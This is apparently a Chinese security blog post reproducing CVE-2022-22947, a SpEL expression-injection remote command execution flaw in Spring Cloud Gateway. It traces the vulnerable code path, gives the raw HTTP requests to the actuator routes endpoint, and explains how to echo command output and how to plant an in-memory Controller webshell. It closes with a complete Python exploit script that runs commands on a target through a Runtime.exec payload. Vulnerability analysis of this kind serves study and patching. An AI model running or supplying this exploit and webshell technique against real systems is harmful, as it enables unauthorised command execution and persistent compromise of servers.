Spring Cloud Gateway表达式注入 远程命令执行漏洞 #CVE-2022-22947

漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

近日VMware官方发布了Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞。

漏洞影响



网络测绘

app=”vmware-SpringBoot-Framework”

漏洞复现

可以从Github下载存在漏洞的版本v3.1.0,然后用idea载入:

3d2383b739175844

从漏洞通报来看,这是一个SPEL表达式注入漏洞,对比补丁org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

c4177576cd175925

47e846b6a1180006

新版本将getValue函数中的StandardEvaluationContext替换成了SimpleEvaluationContext,从而修复了SPEL表达式注入。寻找getValue函数被调用的情况

b1635c2caf180042

只在枚举值ShortcutType的三个取值(DEFAULTGATHER_LISTGATHER_LIST_TAIL_FLAG)中被调用:

c7e19a4f0c180123

三个调用类似,以DEFAULT为例,继续寻找调用关系:

222c77dcc1180211

一直定位到RouteDefinitionLocator#convertToRoute

46f4808641180245

尝试根据RouteDefinition提取GatewayFilter列表。这里的调用和路由以及过滤规则有关,查看Spring Cloud Gateway路由相关的接口定义:

9c4a080b34180324

定位处理控制器org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint

cefbda88fd180401

POST输入参数为RouteDefinition类型,与上面调用链中的convertToRoute函数的输入参数类型一致。

查看RouteDefinition定义:

1946cc3228180440

注意列表型变量FilterDefinition的定义:

211428e8b5180713

参考RouteDefinition变量的定义很容易出构造POST测试请求:

POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166

{
  "id": "id",
  "filters": [{
    "name": "123456",
    "args": {}
  }],
  "uri": "http://localhost"
}

触发断点:

097efc8661180757

首先会通过函数validateRouteDefinition对参数进行了检查:

6ecbdc7943180834

进入验证函数isAvailable

7adcacdcbf180912

代码中会验证Filtername属性是否合法,合法列表整理如下:

class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory

可以随意选择其中的一个GatewayFilterFactory,比如利用Retry来修改请求包:

POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 181

{
  "id": "1234567",
  "filters": [{
    "name": "Retry",
    "args": {
"a":"payload"
   }
  }],
  "uri": "http://localhost"
}

请求后显示路由创建成功。可以通过refresh来生效:

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close

成功触发表达式解析:

bbf0b64b77181020

武器化一:命令回显

通过调试发现,在refresh路由时会调用对应GatewayFilterapply函数。当成功创建新的路由后,可以通过GET请求获取配置信息:

0c8e9266e6181122

回顾前面合法的GatewayFilter列表,我们发现存在一个名为AddResponseHeaderGatewayFilterFactory的子类:

cfca5e4332181155

c5f824cc02181321

apply函数会将配置信息写入HTTP响应数据包中,所以可以尝试利用AddResponseHeaderGatewayFilterFactory来构造命令回显请求:

f0bf24ccf5181443

refresh执行SPEL表达式,将结果写入HTTP响应流,然后访问创建的路由,可以将命令执行的结果回显出来:

7a3c536438181524

最后可以发送DELETE请求将创建的新路由删除。

武器化二:Spring Controller内存马

CVE-2022-22947是一个SPEL表达式注入漏洞,并且框架基于Spring Framework实现,所以我们考虑通过漏洞注入Spring内存马。Spring可以在Controller、Interceptor等不同层级构建不同的内存马。

本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类:

`RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装
`HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象

函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下:

dfc2c8f8f8181635

2a3c6732c3181711

除了上面通过Thread的方式提取RequestMappingInfo之外,通过观察SPEL表达式解析的代码发现上下文环境存在beanFactory的对象:

e3ae1acdc6181750

5e140d0d7c181831

存有337个Bean对象信息,可以利用下面代码辅助打印结果:

for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
    System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}

b99920808e181918

9f9ec5f53e182003

直接利用SPEL上线文环境中的beanFactory即可获取RequestMappingHandlerMapping对象。SPEL表达式中可以通过@来获取BeanResolver配置的beans对象:

707ef6a037182037

接下来创建内存马的过程就很简单了,最终效果就是将如下自定义的Controller子类通过SPEL表达式注入到内存并通过RequestMappingHandlerMapping对象完成路由注册:

e893f1fb8f182112

构造完新的payload后,发送数据包:

6637c4e2cb182145

refresh后将注入内存马:

fd49860690182223

最后同样记得发送DELETE请求将创建的路由删除。

漏洞POC

import requests
import json
import sys


def exec(url):

    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    ## command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://example.com",\r
      "order": 0\r
    }'''

   

    
    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    print(re3.text)


if __name__ == "__main__":
  print('''   ██████  ██      ██ ████████        ████   ████   ████   ████         ████   ████   ████     ██  ██████
  ██░░░░██░██     ░██░██░░░░░        █░░░ █ █░░░██ █░░░ █ █░░░ █       █░░░ █ █░░░ █ █░░░ █   █░█ ░░░░░░█
 ██    ░░ ░██     ░██░██            ░    ░█░█  █░█░    ░█░    ░█      ░    ░█░    ░█░█   ░█  █ ░█      ░█
░██       ░░██    ██ ░███████  █████   ███ ░█ █ ░█   ███    ███  █████   ███    ███ ░ ████  ██████     █ 
░██        ░░██  ██  ░██░░░░  ░░░░░   █░░  ░██  ░█  █░░    █░░  ░░░░░   █░░    █░░   ░░░█  ░░░░░█     █  
░░██    ██  ░░████   ░██             █     ░█   ░█ █      █            █      █        █       ░█    █   
 ░░██████    ░░██    ░████████      ░██████░ ████ ░██████░██████      ░██████░██████  █        ░█   █    
  ░░░░░░      ░░     ░░░░░░░░       ░░░░░░  ░░░░  ░░░░░░ ░░░░░░       ░░░░░░ ░░░░░░  ░         ░   ░     
 ██                   ██                 ██                              
░██       ██   ██    ░██                ░██                              
░██      ░░██ ██     ░██ ██   ██  █████ ░██  ██  ██████  ███████   █████ 
░██████   ░░███      ░██░██  ░██ ██░░░██░██ ██  ██░░░░██░░██░░░██ ██░░░██
░██░░░██   ░██    ██ ░██░██  ░██░██  ░░ ░████  ░██   ░██ ░██  ░██░███████
░██  ░██   ██    ░░  ░██░██  ░██░██   ██░██░██ ░██   ░██ ░██  ░██░██░░░░ 
░██████   ██      ██ ███░░██████░░█████ ░██░░██░░██████  ███  ░██░░██████
░░░░░    ░░      ░░ ░░░  ░░░░░░  ░░░░░  ░░  ░░  ░░░░░░  ░░░   ░░  ░░░░░░ 
usage: python3 test.py url
''')
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容